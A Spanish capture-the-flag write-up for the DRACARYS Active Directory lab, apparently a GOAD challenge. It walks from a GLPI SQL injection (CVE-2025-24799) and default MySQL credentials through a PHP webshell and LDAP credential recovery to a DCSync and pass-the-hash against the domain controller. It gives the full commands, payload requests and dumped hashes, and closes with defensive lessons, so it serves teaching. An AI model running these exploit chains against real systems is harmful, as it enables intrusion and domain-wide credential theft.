Dracarys WriteUp

Tabla de contenido

Dracarys WriteUp

DRACARYS es uno de los laboratorios de la familia GOAD (Game of Active Directory), de Orange Cyberdefense. A diferencia del GOAD clásico, que es un parque temático de vulnerabilidades, DRACARYS está pensado como un reto: empiezas sin credenciales y el único objetivo es llegar a Domain Admin del dominio dracarys.lab. Su gracia es que mezcla una aplicación web (GLPI) con un Active Directory integrado con máquinas Linux, que es un escenario cada vez más habitual en entornos reales y del que se habla poco.

Este writeup lo he montado sobre mi propio laboratorio de Ludus. Si quieres reproducirlo, en su día escribí cómo montar el laboratorio con Ludus y GOAD .

🗺️ Cadena de ataque

Recon (3 hosts: DC01, SRV01 y LX01-web)
      │
      ▼
GLPI 10.0.17 en LX01 → SQLi no autenticada (CVE-2025-24799)
      │
      ▼
MySQL expuesto (glpi:glpi) → reescribimos el hash del admin de GLPI
      │
      ▼
Super-admin de GLPI → RCE (subida de PHP) → shell www-data en LX01 (syrax)
      │
      ▼
Loot: glpicrypt.key → bind LDAP → credenciales de dominio (sunfyre)
      │
      ▼
BloodHound como sunfyre → AD integrado con Linux
      │
      ▼
www-data → root en syrax (localuser:password, grupo sudo)
      │
      ▼
localuser ∈ BUILTIN\Administrators del dominio → DCSync → Domain Admin

🧰 Preparación

Con el laboratorio levantado en Ludus, lo primero es el túnel de WireGuard hacia la red del laboratorio y un /etc/hosts cómodo. Ludus te genera el fichero de hosts hecho:

sudo wg-quick up ludus
ludus range etc-hosts        # copia la salida a tu /etc/hosts

En mi caso las tres máquinas son:

10.2.10.10   dc01.dracarys.lab   dc01   dracarys.lab   BALERION
10.2.10.11   srv01.dracarys.lab  srv01                 VHAGAR
10.2.10.12   lx01.dracarys.lab   lx01                  SYRAX

Ojo a un detalle temático: los nombres de máquina en AD son dragones de Poniente (BALERION es el DC, VHAGAR el servidor miembro, SYRAX la máquina Linux), mientras que en la red los llamamos por su rol. Conviene tenerlo claro para no perderse.

🔍 Reconocimiento

Un escaneo de los tres hosts deja el reparto de papeles clarísimo.

nmap -Pn -n --open -p 22,53,80,88,135,139,389,443,445,464,636,3268,3306,3389,5985 10.2.10.10-12
HostIPPuertosPapel
BALERION10.2.10.1053, 88, 389, 445, 636, 3268, 5985Controlador de dominio
VHAGAR10.2.10.11135, 445, 3389, 5985Servidor miembro Windows
SYRAX10.2.10.1222, 80, 443, 3306Máquina Linux con web + MySQL

El 88 (Kerberos) y el 389 (LDAP) confirman que BALERION es el DC. Y la única superficie web está en SYRAX, así que la entrada es por ahí. Un vistazo rápido con netexec nos da además dos datos que valen oro para más adelante:

netexec smb 10.2.10.10-11
SMB  10.2.10.10  445  BALERION  [*] ... (domain:dracarys.lab) (signing:True)
SMB  10.2.10.11  445  VHAGAR    [*] ... (domain:dracarys.lab) (signing:False)   ← firma SMB desactivada

VHAGAR tiene la firma SMB desactivada, que es la puerta clásica para un ataque de relay. Nos lo apuntamos.

🌐 Foothold: GLPI en SYRAX

La web de SYRAX es la típica página por defecto de Apache, pero la aplicación está en un subdirectorio:

curl -s http://10.2.10.12/glpi/ | grep -i '<title>'
# <title>Authentication - GLPI</title>

GLPI es un gestor de inventario y tickets muy usado. Lo primero, la versión, porque manda sobre el exploit:

curl -s http://10.2.10.12/glpi/CHANGELOG.md | grep -m1 '## \['
# ## [10.0.17] 2024-11-06

Y el status.php nos regala una pista enorme:

curl -s http://10.2.10.12/glpi/status.php
GLPI_DB_OK
Check LDAP servers: Active_Directory-ldap-dracarys.lab_OK    ← GLPI habla con el AD

GLPI está configurado contra el Active Directory por LDAP. Eso significa que en algún sitio guarda las credenciales de un usuario del dominio para hacer el bind. Si conseguimos leer esa configuración, tenemos un pie en el dominio. Guárdate esta idea.

La inyección SQL (CVE-2025-24799)

GLPI 10.0.17 es vulnerable a CVE-2025-24799, una inyección SQL sin autenticar en el endpoint del agente de inventario. Ese endpoint acepta JSON sin credenciales:

curl -s -X POST http://10.2.10.12/glpi/front/inventory.php \
  -H 'Content-Type: application/json' \
  -d '{"action":"inventory","itemtype":"Computer","deviceid":"test-2024","content":{"versionclient":"GLPI-Agent_v1.7"}}'
# {"RESPONSE":"SEND"}

Ese {"RESPONSE":"SEND"} confirma que el endpoint procesa el inventario. La inyección es a ciegas y basada en tiempo, así que la delegamos en sqlmap. Guardamos la petición en un fichero req.txt y lanzamos:

sqlmap -r req.txt --technique=T --dbms=mysql --batch --threads=10 \
  --sql-query="SELECT name,password FROM glpi.glpi_users WHERE name='glpi'"

De aquí sacamos los hashes de los usuarios de GLPI, pero son bcrypt y no son crackeables de forma razonable. Y ojo: esta inyección es de solo lectura (un UNION SELECT comentado), no permite UPDATE. Para escribir necesitamos otra vía.

💡 Para no pelearte con la extracción carácter a carácter (lenta), usa glpwnme , que trae este CVE como módulo: python3 -m glpwnme -t http://10.2.10.12/glpi/ -e CVE_2025_24799 --run -O sql="SELECT ...".

De la SQLi a super-admin de GLPI (por la puerta de atrás)

Recuerda el reconocimiento: SYRAX tenía el 3306 (MySQL) abierto a la red. Probamos las credenciales por defecto de GLPI… y entran:

mysql -h 10.2.10.12 -u glpi -pglpi --skip-ssl -e "SELECT VERSION();"

Con acceso directo a la base de datos ya no necesitamos la SQLi para escribir. En vez de crackear el bcrypt del administrador, lo sobrescribimos por uno nuestro. GLPI espera el prefijo $2y$ (no $2b$), así que generamos el hash y lo ajustamos:

python3 -c "import bcrypt;print('\$2y\$'+bcrypt.hashpw(b'dracarys123',bcrypt.gensalt(rounds=10)).decode()[4:])"
UPDATE glpi_users SET password='$2y$...', authtype=1, auths_id=0 WHERE name='glpi';

(El authtype=1 fuerza autenticación local por si la cuenta estaba apuntando a LDAP.) Entramos por la web con glpi / dracarys123 y ya somos Super-Admin de GLPI.

De super-admin a RCE

Siendo super-admin, GLPI permite subir “documentos”, y su configuración de tipos de fichero suele dejar pasar extensiones peligrosas. Para no hacerlo a mano, usamos glpwnme , la herramienta de la propia Orange para GLPI:

glpwnme -t http://10.2.10.12/glpi/ -u glpi -p dracarys123 -e PHP_UPLOAD --run --no-opsec
[+] Version of glpi found: 10.0.17
[+] GLPI configuration is not safe 💀
[+] Profiles of current user: Super-Admin
[+] Access your file: http://10.2.10.12/glpi/files/_tmp/orange.php?passwd=P@ssw0rd123&p_run=<cmd>

La webshell orange.php ejecuta comandos con el parámetro p_run (protegida con passwd=P@ssw0rd123). Una prueba:

curl 'http://10.2.10.12/glpi/files/_tmp/orange.php?passwd=P@ssw0rd123&p_run=id;hostname'
# uid=33(www-data) ... syrax.dracarys.lab

Ejecución de comandos como www-data sobre SYRAX. Y de propina, orange.php sin p_run (solo con passwd=) vuelca directamente el bind LDAP y las credenciales de la base de datos.

⚠️ Cómodo: conviértelo en una reverse shell contra tu Kali (tu IP en el túnel es 198.51.100.2) para moverte con soltura.

🔑 Loot: la credencial de dominio escondida en GLPI

Recuperamos la promesa que nos hizo el status.php. GLPI guarda la contraseña del bind LDAP cifrada (campo rootdn_passwd de la tabla glpi_authldaps), y la clave para descifrarla, glpicrypt.key, está en el propio servidor y es legible por www-data. La webshell de glpwnme ya hace el trabajo por nosotros: con solo ?passwd=P@ssw0rd123 imprime la conexión LDAP en claro:

LDAP Base      => CN=sunfyre,CN=Users,DC=dracarys,DC=lab
LDAP Password  => BSno5D**********  (distinta en cada despliegue)
DB User/Pass   => glpi / glpi

La cuenta que GLPI usa contra el AD es sunfyre, su cuenta de servicio. La comprobamos contra el DC:

netexec ldap 10.2.10.10 -u sunfyre -p '<password>' -d dracarys.lab
# [+] dracarys.lab\sunfyre:<password>

Ya tenemos credenciales válidas de dominio. Hemos pasado de la web al Active Directory.

💡 Si prefieres descifrarlo a mano, rootdn_passwd va cifrado con XChaCha20-Poly1305 usando glpicrypt.key, un sodium_crypto_aead_xchacha20poly1305_ietf_decrypt en PHP lo recupera.

🩸 Enumeración del dominio con BloodHound

Con sunfyre recogemos todo el dominio para BloodHound:

bloodhound-python -u sunfyre -p '<password>' -d dracarys.lab -ns 10.2.10.10 -c All --zip

⚠️ Verás avisos de “LDAP signing is enabled, trying LDAPS”. Es normal: el DC obliga a firmar, bloodhound-python reintenta por LDAPS (636) y funciona igual.

Importando el ZIP en BloodHound, el dominio es pequeño y limpio (9 usuarios), y el mapa cuenta una historia muy clara. Estos son los usuarios que importan:

UsuarioDescripciónPertenencia relevante
sunfyrecuenta de servicio de GLPI (la nuestra)LINUXUSERS
viserionusuario normalLINUXUSERS
rhaegalusuario normalLINUXADMINS
drogonDomain AdminLINUXADMINS + Domain Admins
localusercuenta local/administraciónBUILTIN\Administrators del dominio

Y aquí está el diseño del reto: es un Active Directory integrado con Linux. Hay dos grupos que no son estándar de Windows, LINUXUSERS y LINUXADMINS, cuyos nombres cantan que gobiernan el acceso a las máquinas Linux del dominio (SYRAX está unida al dominio vía SSSD). Es un patrón muy real y poco vigilado.

sunfyre, por sí sola, no tiene ningún permiso jugoso en el AD: ni kerberoast, ni ASREP, ni ACLs abusables, ni ADCS (no hay CA en el dominio). La escalada no está en el lado Windows, está en el lado Linux, y el hilo del que tirar es la máquina donde ya tenemos ejecución: SYRAX.

👑 Escalada a Domain Admin: el Active Directory que vive en Linux

Paso 1: de www-data a root en SYRAX

Nuestra RCE de GLPI corre como www-data, un usuario sin privilegios: nada de sudo, ni SUID abusables, ni cron escribible. Pero enumerando el sistema aparece el detalle clave, el grupo sudo local:

www-data$ getent group sudo
sudo:x:27:localuser

En SYRAX, el usuario localuser tiene sudo. Y localuser es la cuenta de administración local que despliega el laboratorio, su contraseña es la típica password. Con eso entramos por SSH y saltamos a root sin esfuerzo:

$ sshpass -p 'password' ssh localuser@10.2.10.12
localuser@syrax$ id
uid=1000(localuser) ... 27(sudo),624600513(domain users)   ← ¡es también usuario de dominio!
localuser@syrax$ sudo -i
root@syrax#

Fíjate en el id: localuser está en el grupo sudo y en domain users. No es solo una cuenta local, es una cuenta de dominio. Y ahí es donde BloodHound nos había dado la pista de oro.

Paso 2: localuser es administrador del dominio

Recuerda lo que vimos en BloodHound: localuser es miembro de BUILTIN\Administrators del dominio. Ese grupo puede administrar el propio controlador de dominio, así que una cuenta de dominio dentro de él es, a efectos prácticos, tan buena como un Domain Admin. Y su contraseña es la misma password. Lo comprobamos contra el DC:

netexec smb 10.2.10.10 -u localuser -p 'password' -d dracarys.lab
SMB  10.2.10.10  445  BALERION  [+] dracarys.lab\localuser:password (Pwn3d!)

Ese (Pwn3d!) lo dice todo: localuser es administrador en el controlador de dominio.

Paso 3: DCSync y compromiso total

Siendo administrador del DC, un DCSync nos vuelca toda la base de datos del dominio: los hashes de todos los usuarios, incluido krbtgt (con el que se forjan Golden Tickets) y el Administrator:

impacket-secretsdump dracarys.lab/localuser:password@10.2.10.10 -just-dc
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2ce1d863befe7dd23bdcebec4d2704ce:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:91acdf75d00eb489a9fbcc6f44c0c4db:::
drogon:1108:aad3b435b51404eeaad3b435b51404ee:3627f18929c18bd37c93423a5e39b78a:::

Y con el hash del Administrator del dominio, un Pass-the-Hash nos da ejecución de comandos como SYSTEM en el DC:

netexec smb 10.2.10.10 -u Administrator -H 2ce1d863befe7dd23bdcebec4d2704ce -d dracarys.lab -x "whoami"
SMB  10.2.10.10  445  BALERION  [+] dracarys.lab\Administrator:2ce1... (Pwn3d!)
SMB  10.2.10.10  445  BALERION  [+] Executed command via wmiexec

Objetivo cumplido: de una web olvidada a Domain Admin del dominio dracarys.lab.

💡 Sobre localuser. En este despliegue, localuser es la cuenta que usa el aprovisionamiento (de ahí la contraseña password), y el autor la dejó dentro de BUILTIN\Administrators del dominio. Es un fallo muy realista: cuentas de administración local que acaban con privilegios de dominio y una contraseña débil o reutilizada. Si prefieres la vía “sin atajos de infraestructura”, desde root en SYRAX también tienes el krb5.keytab de la cuenta de máquina SYRAX$ y el /root/.my.cnf con la contraseña de root de MySQL para seguir tirando del hilo, pero el camino corto y limpio a DA es localuser.

🧹 Dejar el laboratorio limpio

Como todo esto corre sobre Ludus con un snapshot, cuando termines devuélvelo a su estado original y ni rastro:

ludus snapshots revert dracarys-ok

📝 Resumen

#FaseTécnicaResultado
1Reconocimientonmap + netexec3 hosts, web en SYRAX, firma SMB off en VHAGAR
2FingerprintVersión de GLPI + status.phpGLPI 10.0.17 con bind LDAP al AD
3SQLiCVE-2025-24799 en el inventario (sin auth)Lectura de la BBDD de GLPI
4Escalada en la appMySQL expuesto (glpi:glpi) → reescribir el hash del adminSuper-Admin de GLPI
5RCESubida de PHP con glpwnmeEjecución de comandos como www-data en SYRAX
6LootDescifrar el bind LDAP con glpicrypt.keyCredenciales de dominio (sunfyre)
7EnumeraciónBloodHound como sunfyrelocaluser ∈ BUILTIN\Administrators, AD+Linux
8Privesc locallocaluser:password en el grupo sudoroot en SYRAX
9Escalada a DAlocaluser es admin del DC → DCSync + Pass-the-HashDomain Admin de dracarys.lab

🧠 Lo que enseña DRACARYS

  • Una web olvidada es una puerta al dominio. GLPI no era el objetivo, pero guardaba las credenciales de servicio del AD. Cualquier aplicación que se autentica contra el directorio es un objetivo de primer nivel.
  • Servicios que no deberían estar expuestos. El MySQL de GLPI, accesible desde la red con glpi:glpi, fue lo que convirtió una SQLi lenta a ciegas en control total de la base de datos. Antes de pelear con el exploit difícil, mira si hay una puerta abierta al lado.
  • Integrar Linux en Active Directory amplía la superficie. Máquinas Linux unidas al dominio, con cuentas de administración local que a la vez son cuentas de dominio, son un vector que muchos equipos de seguridad no vigilan.
  • El pecado capital: una cuenta local privilegiada, en el dominio y con contraseña débil. localuser reunía las tres cosas, sudo en Linux, miembro de BUILTIN\Administrators del dominio y contraseña password, y eso es, por sí solo, el camino de la web a Domain Admin.
  • No siempre hay que crackear. Contra los bcrypt de GLPI no reventamos nada: reescribimos el hash directamente en la base de datos. A veces la vía rápida es cambiar el dato, no adivinarlo.

🐉 Nota. DRACARYS es un reto de dificultad alta y su gracia está en descubrir cada pieza por tu cuenta. Si vas a montarlo, hazlo sobre un snapshot para poder romperlo y revertir las veces que haga falta. El autor (Mayfly, @M4yFly) agradece que le hagas llegar tu writeup.